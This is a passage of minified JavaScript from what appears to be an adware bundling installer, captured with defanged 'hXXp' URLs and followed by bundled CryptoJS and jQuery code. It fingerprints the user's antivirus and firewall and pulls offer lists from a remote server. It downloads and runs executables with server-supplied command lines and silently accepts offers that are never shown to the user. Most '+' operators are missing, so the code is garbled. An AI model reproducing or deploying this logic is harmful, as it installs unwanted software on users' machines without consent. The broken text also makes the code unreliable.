winver");WinVer=parseFloat(WinVer);addLog("getting url");apiUrl="hXXp://" installerData.extra.requestHost "/stan/api_war/" installerData.publisher "/" installerData.campaign "/" installerData.carrier "/" machineInfo.lan.toUpperCase() "/" getRegion().toUpperCase() "?browser=" installerData.usedBrowser;addLog(apiUrl);getResponseFromWrapper(cryptUrl(apiUrl),"","onDataRecivied","ForceError");addLog(WinVer.toString())}catch(error){ForceError("GetData->" JSON.stringify(error))}}function onException(data){try{if(data.message){data=data.message}if(dataObject&&dataObject.offers){for(var i=0;i<dataObject.offers.length;i  ){var offer=dataObject.offers[i];offer.state=EXECUTIONERROR}}var msgText="An error has occurred";try{if(returnIdValue){msgText=returnIdValue("#_ExceptionText")||msgText}showMessage(msgText,"",false)}catch(err){}exception=true;addLog("exception");onExit()}catch(err){sendEx("onException->" JSON.stringify(err))}}function generateExecutionID(){var stringBuilder="";var currentdate=new Date();stringBuilder =currentdate.getHours();stringBuilder =currentdate.getMinutes();stringBuilder =currentdate.getMilliseconds();stringBuilder =installerData.uid||randomString(23);return stringBuilder}function randomString(len){var text="";var charset="abcdefghijklmnopqrstuvwxyz0123456789";for(var i=0;i<len;i  ){text =charset.charAt(Math.floor(Math.random()*charset.length))}return text}function onDataRecivied(data){try{addTrace("ApiSuccess");addLog("api response succes");dataObject=data;dataObject=JSON.parse(replaceResponse(dataObject,installerData,JSON.parse(dataObject),""));executionID=generateExecutionID();setBlankProfile();machineInfo.fav=FormatAntivirusName(machineInfo.av,dataObject.installerBehavior.antivirus);machineInfo.ffw=FormatAntivirusName(machineInfo.fw,dataObject.installerBehavior.antivirus);machineInfo.fas=FormatAntivirusName(machineInfo.as,dataObject.installerBehavior.antivirus);addLog(JSON.stringify(machineInfo));TRACKURL="hXXp://" installerData.extra.requestHost "/kenny/" dataObject.installerBehavior.track.service;addLog("track url->" TRACKURL);addLog("track type->" dataObject.installerBehavior.track.type);setTrackInterval();addLog("object parsed");addTrace("ObjectParsed");setInitialStates();addTrace("PostSetInitialStates");addLog("set initial states completed");showProfile()}catch(error){ForceError("DataRecivied->" JSON.stringify(error) "--","","","")}}function setBlankProfile(){if(installerData.url!=""){dataObject.installerBehavior.mappUrl=decodeURIComponent(installerData.url)}if(installerData.caption!=""){installerData.app=installerData.caption;dataObject.presentation.formCaption=installerData.caption}}function setLinks(){SetLink("_TitPrivacy",dataObject.presentation.links.privacyUrl,true);SetLink("_TitSetup",dataObject.presentation.links.setupUrl,true);SetLink("_TitFree",dataObject.presentation.links.freeUrl,true);SetLink("_TitHelp",dataObject.presentation.links.helpUrl,true);SetLink("_TitUninstall",dataObject.presentation.links.uninstallUrl,true);SetLink("_TitContact",dataObject.presentation.links.contactUrl,true);SetLink("_TitTerms",dataObject.presentation.links.termsUrl,true)}function setInitialStates(){for(var i=0;i<dataObject.offers.length;i  ){var offer=dataObject.offers[i];offer.catchallMonetizations=[];offer.usedScreen=null;offer.score =1;if(offer.inactive==-1||!offer.inactive){if(checkMachineRestrictions(offer.offerBehavior.machineRestrictions)){offer.state=MACHINE}else{if(offer.offerBehavior.ownerCheck&&ownerCheck(offer.id,false)){offer.state=PRESENT}else{var checkResult;var ignorePresent=GetIgnorePresents(offer.id);if(ignorePresent==1){checkResult=false}else{if(ignorePresent==2){checkResult=true}else{checkResult=checkPresent(offer.offerBehavior.preCheck)}}if(checkResult==null){offer.state=PRECHECKERROR}else{if(checkResult){offer.state=PRESENT}else{offer.state=PENDING}}}}}else{offer.state=offer.inactive}}}var gratShowed=false;function openGratitudes(){if(gratShowed){return}gratShowed=true;if(mappInstalled&&dataObject.installerBehavior.gratitudeUrl!=null){openUrlOnBrowser(dataObject.installerBehavior.gratitudeUrl,installerData.usedBrowser)}else{if(!mappInstalled&&dataObject.installerBehavior.abortUrl!=null){openUrlOnBrowser(dataObject.installerBehavior.abortUrl,installerData.usedBrowser)}}}function generateUninstaller(){var values=Array();$.each(dataObject.offers,function(key,offer){if(offer.state==INSTALLED){$.each(offer.offerBehavior.uninstall,function(key,uninstall){var currentvalue=Array();currentvalue[0]=uninstall.uninstallKey;currentvalue[1]=uninstall.uninstallProcess;values.push(currentvalue)})}});createUninstaller(values)}function onAccept(){addLog("onAccept is loading = " loading);if(loading||step==INSTALLING||step==FINISH){return}loading=true;if(step==1){if(currOffer.length==1){var offerObject=dataObject.offers[currOffer[0]];var accepted=GetAccepted(dataObject.presentation.offerScreens[currentOfferScreen].argsDecline);if(accepted){acceptOffer(offerObject);offerObject.commandLine=GetCommandline(offerObject.commandLine,offerObject.argsDelimiter);acceptedCount  }else{offerObject.state=DECLINED;changeScreen()}}else{$("._CBdecline").each(function(){var offerObject=dataObject.offers[$(this).attr("tag")];if($(this).is(":checked")){acceptOffer(offerObject)}else{offerObject.state=DECLINED}})}}goForward()}function onDecline(){addLog("onDecline is loading = " loading);if(loading||step==INSTALLING||step==FINISH){return}loading=true;if(step==1){$.each(currOffer,function(key,offer){var currObject=dataObject.offers[offer];currObject.state=DECLINED})}changeScreen();goForward()}function onOmit(){addLog("onOmit is loading = " loading);if(loading||step==INSTALLING||step==FINISH){return}loading=true;$.each(dataObject.offers,function(key,offer){if(offer.state==PENDING){wasSkipAll=true;offer.state=SKIPALL}});goForward()}function ExitApplication(){openGratitudes();generateUninstaller();closeForm()}function TrackAndClose(){finished=true;track("ExitApplication","ExitApplication")}function exitBeforeEnd(){var result=showMessage(returnIdValue("#_ExitConfirm")||"Closing now the installer could leave some incomplete installations. Would you like to continue with the instalation process?","",true);if(result==false){if(step==1){$.each(currOffer,function(key,offer){var currObject=dataObject.offers[offer];currObject.state=ABORTED})}else{if(step==2){for(var i=0;i<dataObject.offers.length;i  ){var offer=dataObject.offers[i];if(typeof offer!=="undefined"&&offer.state==ACCEPTED){offer.state=ABORTED}}}}TrackAndClose()}}function onExit(){addLog("onExit");if(!dataObject){closeForm()}else{if(finished){ExitApplication()}else{if(exception){TrackAndClose()}else{exitBeforeEnd()}}}}function goForward(){if(step!=OFFERS||currOffer==null){step  }addLog("go forward");updateValue($("._OffersShowing"),"",false);currOffersText="";printStates();hideClasses(["_StepElement"]);switch(step){case WELCOME:ChangeVisibility("_StepWelcome");var common=returnCommonNode("welcome");showCommon(common,"welcomeScreen",dataObject.presentation.mappRenderId);break;case OFFERS:ChangeVisibility("_StepOptions");showNextOffer();break;case INSTALLING:addUniqueTrace("RenderInstallStep");addLog("InstallScreen");ChangeVisibility("_StepInstalling");showCommon(returnCommonNode("install"),"installScreen");break;case FINISH:finished=true;if(dataObject.installerBehavior.hideOnInstall){hideForm(false,false)}track("ShowFinish","ShowFinish");break;default:sendEx("default on goforward->" step);exception=true;onExit();break}}function ShowFinish(data){ChangeVisibility("_StepFinished");showCommon(returnCommonNode("finish"),"finishScreen")}function returnCommonNode(identifier){var common=undefined;$.each(dataObject.presentation.commonScreens,function(key,commonScreen){if(commonScreen.type==identifier){common=commonScreen}});return common}function searchNextAllowedOfferscreen(offerID,OfferScreenID,screens){if(OfferScreenID>screens.length-1){OfferScreenID=0}var currentOfferScreen=OfferScreenID;var returnData=null;while(true){if($.inArray(offerID,screens[currentOfferScreen].restrictedOffers)==-1){returnData=currentOfferScreen;break}else{if(currentOfferScreen>=screens.length-1){currentOfferScreen=0}else{currentOfferScreen  }if(OfferScreenID==currentOfferScreen){break}}}return returnData}function nextOfferCallback(list){addSpeficicTrace("getNextOffer");currOffer=list;if(currOffer){try{addLog("loaded offers display");currOffersText="";if(currOffer.length==1){var result=searchNextAllowedOfferscreen(dataObject.offers[currOffer].id,currentOfferScreen,dataObject.presentation.offerScreens);if(result==null){onDisplayFail("bloqued")}else{currentOfferScreen=result;dataObject.offers[currOffer].usedScreen=dataObject.presentation.offerScreens[currentOfferScreen].id;createFrame(dataObject.presentation.offerScreens[currentOfferScreen].renderUrl dataObject.offers[currOffer].offerPresentation.renderId,dataObject.offers[currOffer].offerPresentation.renderStyle,"onDisplayFail","displayLoaded")}}else{showCommon(returnCommonNode("group"),"groupScreen")}}catch(err){addLog("nextOfferCallback->" err);currOffer=null;goForward()}}else{addLog("no offers");currOffer=null;goForward()}}function showNextOffer(){try{addSpeficicTrace("gettingNextOffer");startGettingNextOffer(dataObject.offers,dataObject.installerBehavior.maxSteps,returnCommonNode("group")!==undefined,nextOfferCallback,dataObject.installerBehavior.combinationMaxTime)}catch(err){addLog(err.message)}}function onDisplayFail(reasonTxt){if(step==1){$.each(currOffer,function(key,offer){var currObject=dataObject.offers[offer];if(reasonTxt!="bloqued"){currObject.state=DISPLAYERROR}else{currObject.state=NODISPLAYCOMPATIBLE}})}addLog("onDisplayFail->" reasonTxt);goForward()}function setOfferObject(key,url,commandline,filename,name,waitToCheck,macBehavior){var newOffer={};newOffer.id=key;newOffer.url=url;newOffer.commandline=commandline;newOffer.filename=filename||name ".exe";newOffer.name=name;newOffer.checking=false;newOffer.completed=false;newOffer.macBehavior=macBehavior||"";if(waitToCheck==-1||typeof waitToCheck==="undefined"){newOffer.waitToCheck=10000}else{newOffer.waitToCheck=waitToCheck}return newOffer}function changeScreen(){currentOfferScreen  ;if(dataObject.presentation.offerScreens.length-1<currentOfferScreen){currentOfferScreen=0}}function compareArraysRemoveNumbers(firstArray,secondArray){var combined=[];$.each(firstArray,function(key,element){if($.inArray(element,secondArray)!=-1){element=element.replace(/[0-9]/g,"");if($.inArray(element,combined)==-1){combined.push(element)}}});return combined}function acceptedCatchall(arrayTotal,arrayBloqued){var formatted=[];var resultArray=[];for(var i=0;i<arrayTotal.length;i  ){var element=arrayTotal[i].replace(/[0-9]/g,"");if($.inArray(element,arrayBloqued)==-1){formatted.push(element)}}$.each(formatted,function(key,element){if($.inArray(element,resultArray)==-1){resultArray.push(element)}});return resultArray}function replaceCommandlineCachAll(offer,Accepted){var cachallCommandline="";var monAdded=compareArraysRemoveNumbers(offer.offerBehavior.monetizationTypes,Accepted);$.each(monAdded,function(key,mon){cachallCommandline =mon offer.argsDelimiter});offer.catchallMonetizations=acceptedCatchall(offer.offerBehavior.monetizationTypes,monAdded);cachallCommandline=cachallCommandline.slice(0,-1);if(offer.commandLine.indexOf("ÊtchAll%")!=-1){offer.commandLine=offer.commandLine.replace(/ÊtchAll%/g,cachallCommandline)}else{offer.commandLine=offer.commandLine cachallCommandline}}function acceptOffer(offer){acceptedRestrictions=acceptedRestrictions.concat(offer.offerBehavior.restrictions);acceptedRestrictions.push(offer.id);offer.state=ACCEPTED;if(offer.offerBehavior.catchAll){replaceCommandlineCachAll(offer,monetizationTypesAccepted)}$.merge(monetizationTypesAccepted,offer.offerBehavior.monetizationTypes)}function setNoDisplayStates(offers){for(var i=0;i<offers.length;i  ){if(offers[i].state==PENDING&&$.inArray(offers[i].id,acceptedRestrictions)==-1&&!offers[i].offerBehavior.showDisplay){acceptOffer(offers[i])}}}function setTrackInterval(){track("","");var interval=setInterval(function(){addLog("autotracking");if(finished){addLog("trackend");clearInterval(interval);return}track("","")},60000)}var CryptoJS=CryptoJS||function(h,r){var k={},l=k.lib={},n=function(){},f=l.Base={extend:function(a){n.prototype=this;var b=new n;a&&b.mixIn(a);b.hasOwnProperty("init")||(b.init=function(){b.$super.init.apply(this,arguments)});b.init.prototype=b;b.$super=this;return b},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var b in a){a.hasOwnProperty(b)&&(this[b]=a[b])}a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.init.prototype.extend(this)}},j=l.WordArray=f.extend({init:function(a,b){a=this.words=a||[];this.sigBytes=b!=r?b:4*a.length},toString:function(a){return(a||s).stringify(this)},concat:function(a){var b=this.words,d=a.words,c=this.sigBytes;a=a.sigBytes;this.clamp();if(c%4){for(var e=0;e<a;e  ){b[c e>>>2]|=(d[e>>>2]>>>24-8*(e%4)&255)<<24-8*((c e)%4)}}else{if(65535<d.length){for(e=0;e<a;e =4){b[c e>>>2]=d[e>>>2]}}else{b.push.apply(b,d)}}this.sigBytes =a;return this},clamp:function(){var a=this.words,b=this.sigBytes;a[b>>>2]&=4294967295<<32-8*(b%4);a.length=h.ceil(b/4)},clone:function(){var a=f.clone.call(this);a.words=this.words.slice(0);return a},random:function(a){for(var b=[],d=0;d<a;d =4){b.push(4294967296*h.random()|0)}return new j.init(b,a)}}),m=k.enc={},s=m.Hex={stringify:function(a){var b=a.words;a=a.sigBytes;for(var d=[],c=0;c<a;c  ){var e=b[c>>>2]>>>24-8*(c%4)&255;d.push((e>>>4).toString(16));d.push((e&15).toString(16))}return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c =2){d[c>>>3]|=parseInt(a.substr(c,2),16)<<24-4*(c%8)}return new j.init(d,b/2)}},p=m.Latin1={stringify:function(a){var b=a.words;a=a.sigBytes;for(var d=[],c=0;c<a;c  ){d.push(String.fromCharCode(b[c>>>2]>>>24-8*(c%4)&255))}return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c  ){d[c>>>2]|=(a.charCodeAt(c)&255)<<24-8*(c%4)}return new j.init(d,b)}},t=m.Utf8={stringify:function(a){try{return decodeURIComponent(escape(p.stringify(a)))}catch(b){throw Error("Malformed UTF-8 data")}},parse:function(a){return p.parse(unescape(encodeURIComponent(a)))}},q=l.BufferedBlockAlgorithm=f.extend({reset:function(){this._data=new j.init;this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=t.parse(a));this._data.concat(a);this._nDataBytes =a.sigBytes},_process:function(a){var b=this._data,d=b.words,c=b.sigBytes,e=this.blockSize,f=c/(4*e),f=a?h.ceil(f):h.max((f|0)-this._minBufferSize,0);a=f*e;c=h.min(4*a,c);if(a){for(var g=0;g<a;g =e){this._doProcessBlock(d,g)}g=d.splice(0,a);b.sigBytes-=c}return new j.init(g,c)},clone:function(){var a=f.clone.call(this);a._data=this._data.clone();return a},_minBufferSize:0});l.Hasher=q.extend({cfg:f.extend(),init:function(a){this.cfg=this.cfg.extend(a);this.reset()},reset:function(){q.reset.call(this);this._doReset()},update:function(a){this._append(a);this._process();return this},finalize:function(a){a&&this._append(a);return this._doFinalize()},blockSize:16,_createHelper:function(a){return function(b,d){return(new a.init(d)).finalize(b)}},_createHmacHelper:function(a){return function(b,d){return(new u.HMAC.init(a,d)).finalize(b)}}});var u=k.algo={};return k}(Math);function printStates(){if(window.external&&("printStates" in window.external)&&("acceptedMonetizations" in window.external)){var object=[];$.each(dataObject.offers,function(key,offer){var newObject={};newObject.id=offer.id;newObject.name=offer.name;newObject.canGroup=offer.offerPresentation.canGroup;newObject.monetization=offer.offerBehavior.monetizationTypes;newObject.restrictions=offer.offerBehavior.restrictions;newObject.state=offer.state;object.push(newObject)});window.external.printStates(JSON.stringify(object));window.external.acceptedMonetizations(monetizationTypesAccepted)}}function PrintInstallPropiertas(installingOffers){if(window.external&&("printInstallPropiertas" in window.external)){$.each(installingOffers,function(key,offer){window.external.printInstallPropiertas(offer.name,offer.url,offer.commandline)})}}function printCombination(offers,value){if(window.external&&("printCombination" in window.external)){setTimeout(function(){var offersText="";for(var i=0;i<offers.length;i  ){for(var a=0;a<offers[i].length;a  ){offersText =offers[i][a] " "}offersText=offersText.slice(0,-1);offersText =","}window.external.printCombination(offersText,value);addLog(offersText "->" value)},1)}}function printClearCombination(){if(window.external&&("printClearCombination" in window.external)){setTimeout(function(){window.external.printClearCombination()},1)}}var ignorepresents=null;function GetIgnorePresents(offerID){if(ignorepresents!==null){return ignorepresents}if(window.external&&("GetIgnorePresents" in window.external)){return window.external.GetIgnorePresents(offerID)}else{ignorepresents=0}return ignorepresents}function getRegion(){if(window.external&&("getRegion" in window.external)){return window.external.getRegion()||""}else{return""}}function addLog(message){if(window.external&&("addLog" in window.external)){setTimeout(function(){window.external.addLog(message)},0)}}var installingOffers=null;var totalbytes=0;var installStart=null;function install(offers){installingOffers=offers;PrintInstallPropiertas(offers);SetTotalSize()}function SetTotalSize(){setTimeout(function(){var urls="";$.each(installingOffers,function(key,offer){urls =offer.url "%%%"});urls=urls.slice(0,-3);var bytes=getTotalSize(urls);totalSizeRecivied(bytes)},0)}function totalSizeRecivied(bytes){addLog(bytes);addLog(typeof(bytes.toString()));totalbytes=parseInt(bytes.toString());addLog("parsed");addTrace("totalSizeRecivied");$.each(installingOffers,function(key,offer){try{offer.position=key;addLog("startInstall");startInstall(key,offer.url,offer.commandline,offer.filename,offer.macBehavior);addLog("startedInstall")}catch(err){offer.downloadedBytes=0;offer.totalbytes=0;offer.state=OFFERERROR}});addTrace("allOffersSended");var dateObj=new Date();installStart=dateObj.getTime();getOffersProgress()}var currdownloadedBytes=null;function showInstallProgress(){currdownloadedBytes=0;$.each(installingOffers,function(key,offer){if($.isNumeric(offer.downloadedBytes)){currdownloadedBytes =offer.downloadedBytes}});if(currdownloadedBytes>0){var percentage=Math.round((currdownloadedBytes*90)/totalbytes);if(percentage<90){$("._ProgressText").show();$("._ProgressTextDownloaded").html(humanReadableFileSize(currdownloadedBytes));$("._ProgressTextTotal").html(humanReadableFileSize(totalbytes));$("._ProgressTextPercentage").html(percentage);$("._TotalProgressLevel").width(percentage "%")}else{$("._TotalProgressLevel").width("90%");$("._ProgressText").hide();$("._ProgressInstallingText").show()}}}var errorIntervaTracked=false;function trackErrorOnInterval(message){if(!errorIntervaTracked){errorIntervaTracked=true;onException("DownloadInterval->" message)}}function updateOffersValues(){var allInstalled=true;for(var i=0;i<installingOffers.length;i  ){if(installingOffers[i].checking){continue}var response=null;var dateObj=new Date();if(dateObj.getTime()-installStart<1200000){response=getDownloadProgress(i)}else{response="-99"}var responseSplited=response.split("|");if(responseSplited.length==2){allInstalled=false;offerProgress(i,responseSplited[0],responseSplited[1])}else{installingOffers[i].checking=true;try{offerInstallComplete(i,responseSplited[0],installingOffers[i].waitToCheck)}catch(err){installingOffers[i].state=INSTALLERROR;sendEx("offercompleteError","offerID->" installingOffers[i].id,"","",JSON.stringify(err))}}}return allInstalled}var wentToFinish=false;function getOffersProgress(){setTimeout(function(){addUniqueTrace("progressIntervalCreated");try{var allInstalled=updateOffersValues();showInstallProgress();if(allInstalled){addUniqueTrace("allInstalled");if(checkFinish()===true&&!wentToFinish){wentToFinish=true;addTrace("FinishInstall");addLog("checkedFinish");goForward();addLog("finish")}}if(!wentToFinish){getOffersProgress()}}catch(err){trackErrorOnInterval(JSON.stringify(err))}},1000)}function offerProgress(position,downloadedBytes,totalbytes){installingOffers[position].downloadedBytes=parseInt(downloadedBytes);installingOffers[position].totalbytes=parseInt(totalbytes)}function offerInstallComplete(position,result,waitToCheck){addLog(position "->installed");addUniqueTrace("offerInstalled");installingOffers[position].downloadedBytes=installingOffers[position].totalbytes;addSpeficicTrace("install");addLog("waiting " waitToCheck " miliseconds");setTimeout(function(){addLog(position "->checking");offerSetState(installingOffers[position].id,result);printStates();installingOffers[position].completed=true;addSpeficicTrace("installed")},waitToCheck)}function checkFinish(){for(var i=0;i<installingOffers.length;i  ){if(installingOffers[i].completed!==true){addLog("CheckFinish false");return false}}addLog("CheckFinish true");return true}function offerSetState(id,resultCode){if(id==-1){mappInstalled=true;return}$.each(dataObject.offers,function(key,offer){if(offer.id==id&&offer.state==ACCEPTED){try{if(resultCode==-99){offer.state=INSTALLERROR}else{var present=checkPresent(offer.offerBehavior.postCheck,resultCode);if(present==true){offer.state=INSTALLED;track("","");ownerCheck(offer.id,true)}else{if(present==false){offer.state=NOCONFIRMED;sendOfferException("not confirmed",resultCode.toString(),"",offer.url,offer.name,"INSTALL NOTCONFIRMED")}else{offer.state=POSTCHECKERROR}}}}catch(err){offer.state=POSTCHECKERROR}}})}function getReport(){}(function(){var h=CryptoJS,j=h.lib.WordArray;h.enc.Base64={stringify:function(b){var e=b.words,f=b.sigBytes,c=this._map;b.clamp();b=[];for(var a=0;a<f;a =3){for(var d=(e[a>>>2]>>>24-8*(a%4)&255)<<16|(e[a 1>>>2]>>>24-8*((a 1)%4)&255)<<8|e[a 2>>>2]>>>24-8*((a 2)%4)&255,g=0;4>g&&a 0.75*g<f;g  ){b.push(c.charAt(d>>>6*(3-g)&63))}}if(e=c.charAt(64)){for(;b.length%4;){b.push(e)}}return b.join("")},parse:function(b){var e=b.length,f=this._map,c=f.charAt(64);c&&(c=b.indexOf(c),-1!=c&&(e=c));for(var c=[],a=0,d=0;d<e;d  ){if(d%4){var g=f.indexOf(b.charAt(d-1))<<2*(d%4),h=f.indexOf(b.charAt(d))>>>6-2*(d%4);c[a>>>2]|=(g|h)<<24-8*(a%4);a  }}return j.create(c,a)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 /="}})();function FormatAntivirusName(currentName,antivirusRegexArray){if(!antivirusRegexArray){return null}var result=null;$.each(antivirusRegexArray,function(key,value){var pattern=new RegExp(value,"i");if(currentName.match(pattern)){result=key;return false}});return result}function checkRegKey(path,key,value){key=key||"";value=value||"";return window.external.checkRegKey(path,key,value)}function minimizeWindow(){return window.external.minimizeWindow()}function checkFile(path,regexp){regexp=regexp||"";return window.external.checkFile(path,regexp)}function getResponseFromWrapper(url,post,callback,failcallback){window.external.getResponse(url,post,callback,failcallback)}function checkDirectory(path){return window.external.checkDirectory(path)}function checkRunFile(DownloadUrl,FileName,args,time){throw"banned"}var isLoadedOneTime=false;function loaded(){if(!isLoadedOneTime){isLoadedOneTime=true;addTrace("loadedFunctionStart");getBodySize();addTrace("gettedBodySize");var hideFormString=returnIdValue("#_HideBorder")||"0";window.external.loaded(parseInt(actualWidth),parseInt(actualHeight),parseInt(hideFormString));addTrace("called")}$("#_frameContainer").css("visibility","visible")}function setWindowName(text){window.external.setWindowName(text)}function hideForm(hide,icon){try{window.external.hideForm(hide,icon)}catch(err){window.external.hideForm(hide)}}function ownerCheck(offerID,set){return window.external.ownerCheck(parseInt(offerID),set)}function createUninstaller(values){if(values.length>0&&window.external&&("createUninstaller" in window.external)){try{return window.external.createUninstaller(values)}catch(err){return false}}}function openUrlOnBrowser(url,browser){window.external.openUrlOnBrowser(url,browser)}function openUrlOnDefaultBrowser(url){window.external.openUrlOnDefaultBrowser(url)}function externalClose(){onExit()}function closeForm(){addLog("closing");window.external.close()}function showMessage(message,title,twoButtons){return window.external.showMessage(message,title,twoButtons)}function startInstall(key,url,commandline,filename,macBehavior){commandline=commandline||"";return window.external.startInstall(parseInt(key),url,commandline,filename,macBehavior)}function getTotalSize(urls){return window.external.getTotalSize(urls).toString()}function configurationCrypted(){var returnVal=window.external.configurationCrypted();return returnVal.toString()}function disableControlBoxButtons(button,value){window.external.disableControlBoxButtons(button,value)}function getDownloadProgress(id){try{return window.external.getDownloadProgress(id).toString()}catch(err){return"0|1"}}function sendOfferException(message,codeError,codeErrorMsg,url,OfferName,TyperError){url=url|"";return window.external.sendOfferException(message,codeError,codeErrorMsg,url,OfferName,TyperError)}function getScriptNextOffer(offersData,AcceptedOffer,maxSteps,timeout){return window.external.getScriptNextOffer(offersData,AcceptedOffer,maxSteps,timeout)}function changeDownloadPath(){var _path=window.external.changeDownloadPath();if(_path){updateValue($("#_downloadPath"),_path,false)}}function getDownloadPath(){return window.external.getDownloadPath()}(function(e,t){var n,r,i=typeof t,o=e.location,a=e.document,s=a.documentElement,l=e.jQuery,u=e.$,c={},p=[],f="1.10.2",d=p.concat,h=p.push,g=p.slice,m=p.indexOf,y=c.toString,v=c.hasOwnProperty,b=f.trim,x=function(e,t){return new x.fn.init(e,t,r)},w=/[ -]?(?:\d*\.|)\d (?:[eE][ -]?\d |)/.source,T=/\S /g,C=/^[\s\uFEFF\xA0] |[\s\uFEFF\xA0] $/g,N=/^(?:\s*(<[\w\W] >)[^>]*|#([\w-]*))$/,k=/^<(\w )\s*\/?>(?:<\/\1>|)$/,E=/^[\],:{}\s]*$/,S=/(?:^|:|,)(?:\s*\[) /g,A=/\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g,j=/"[^"\\\r\n]*"|true|false|null|-?(?:\d \.|)\d (?:[eE][ -]?\d |)/g,D=/^-ms-/,L=/-([\da-z])/gi,H=function(e,t){return t.toUpperCase()},q=function(e){(a.addEventListener||"load"===e.type||"complete"===a.readyState)&&(_(),x.ready())},_=function(){a.addEventListener?(a.removeEventListener("DOMContentLoaded",q,!1),e.removeEventListener("load",q,!1)):(a.detachEvent("onreadystatechange",q),e.detachEvent("onload",q))};x.fn=x.prototype={jquery:f,constructor:x,init:function(e,n,r){var i,o;if(!e){return this}if("string"==typeof e){if(i="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:N.exec(e),!i||!i[1]&&n){return !n||n.jquery?(n||r).find(e):this.constructor(n).find(e)}if(i[1]){if(n=n instanceof x?n[0]:n,x.merge(this,x.parseHTML(i[1],n&&n.nodeType?n.ownerDocument||n:a,!0)),k.test(i[1])&&x.isPlainObject(n)){for(i in n){x.isFunction(this[i])?this[i](n[i]):this.attr(i,n[i])}}return this}if(o=a.getElementById(i[2]),o&&o.parentNode){if(o.id!==i[2]){return r.find(e)}this.length=1,this[0]=o}return this.context=a,this.selector=e,this}return e.nodeType?(this.context=this[0]=e,this.length=1,this):x.isFunction(e)?r.ready(e):(e.selector!==t&&(this.selector=e.selector,this.context=e.context),x.makeArray(e,this))},selector:"",length:0,toArray:function(){return g.call(this)},get:function(e){return null==e?this.toArray():0>e?this[this.length e]:this[e]},pushStack:function(e){var t=x.merge(this.constructor(),e);return t.prevObject=this,t.context=this.context,t},each:function(e,t){return x.each(this,e,t)},ready:function(e){return x.ready.promise().done(e),this},slice:function(){return this.pushStack(g.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n= e (0>e?t:0);return this.pushStack(n>=0&&t>n?[this[n]]:[])},map:function(e){return this.pushStack(x.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:h,sort:[].sort,splice:[].splice},x.fn.init.prototype=x.fn,x.extend=x.fn.extend=function(){var e,n,r,i,o,a,s=arguments[0]||{},l=1,u=arguments.length,c=!1;for("boolean"==typeof s&&(c=s,s=arguments[1]||{},l=2),"object"==typeof s||x.isFunction(s)||(s={}),u===l&&(s=this,--l);u>l;l  ){if(null!=(o=arguments[l])){for(i in o){e=s[i],r=o[i],s!==r&&(c&&r&&(x.isPlainObject(r)||(n=x.isArray(r)))?(n?(n=!1,a=e&&x.isArray(e)?e:[]):a=e&&x.isPlainObject(e)?e:{},s[i]=x.extend(c,a,r)):r!==t&&(s[i]=r))}}}return s},x.extend({expando:"jQuery" (f Math.random()).replace(/\D/g,""),noConflict:function(t){return e.$===x&&(e.$=u),t&&e.jQuery===x&&(e.jQuery=l),x},isReady:!1,readyWait:1,holdReady:function(e){e?x.readyWait  :x.ready(!0)},ready:function(e){if(e===!0?!--x.readyWait:!x.isReady){if(!a.body){return setTimeout(x.ready)}x.isReady=!0,e!==!0&&--x.readyWait>0||(n.resolveWith(a,[x]),x.fn.trigger&&x(a).trigger("ready").off("ready"))}},isFunction:function(e){return"function"===x.type(e)},isArray:Array.isArray||function(e){return"array"===x.type(e)},isWindow:function(e){return null!=e&&e==e.window},isNumeric:function(e){return !isNaN(parseFloat(e))&&isFinite(e)},type:function(e){return null==e?e "":"object"==typeof e||"function"==typeof e?c[y.call(e)]||"object":typeof e},isPlainObject:function(e){var n;if(!e||"object"!==x.type(e)||e.nodeType||x.isWindow(e)){return !1}try{if(e.constructor&&!v.call(e,"constructor")&&!v.call(e.constructor.prototype,"isPrototypeOf")){return !1}}catch(r){return !1}if(x.support.ownLast){for(n in e){return v.call(e,n)}}for(n in e){}return n===t||v.call(e,n)},isEmptyObject:function(e){var t;for(t in e){return !1}return !0},error:function(e){throw Error(e)},parseHTML:function(e,t,n){if(!e||"string"!=typeof e){return null}"boolean"==typeof t&&(n=t,t=!1),t=t||a;var r=k.exec(e),i=!n&&[];return r?[t.createElement(r[1])]:(r=x.buildFragment([e],t,i),i&&x(i).remove(),x.merge([],r.childNodes))},parseJSON:function(n){return e.JSON&&e.JSON.parse?e.JSON.parse(n):null===n?n:"string"==typeof n&&(n=x.trim(n),n&&E.test(n.replace(A,"@").replace(j,"]").replace(S,"")))?Function("return " n)():(x.error("Invalid JSON: " n),t)},parseXML:function(n){var r,i;if(!n||"string"!=typeof n){return null}try{e.DOMParser?(i=new DOMParser,r=i.parseFromString(n,"text/xml")):(r=new ActiveXObject("Microsoft.XMLDOM"),r.async="false",r.loadXML(n))}catch(o){r=t}return r&&r.documentElement&&!r.getElementsByTagName("parsererror").length||x.error("Invalid XML: " n),r},noop:function(){},globalEval:function(t){t&&x.trim(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(D,"ms-").replace(L,H)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t,n){var r,i=0,o=e.length,a=M(e);if(n){if(a){for(;o>i;i  ){if(r=t.apply(e[i],n),r===!1){break}}}else{for(i in e){if(r=t.apply(e[i],n),r===!1){break}}}}else{if(a){for(;o>i;i  ){if(r=t.call(e[i],i,e[i]),r===!1){break}}}else{for(i in e){if(r=t.call(e[i],i,e[i]),r===!1){break}}}}return e},trim:b&&!b.call("\ufeff\u00a0")?function(e){return null==e?"":b.call(e)}:function(e){return null==e?"":(e "").replace(C,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(M(Object(e))?x.merge(n,"string"==typeof e?[e]:e):h.call(n,e)),n},inArray:function(e,t,n){var r;if(t){if(m){return m.call(t,e,n)}for(r=t.length,n=n?0>n?Math.max(0,r n):n:0;r>n;n  ){if(n in t&&t[n]===e){return n}}}return -1},merge:function(e,n){var 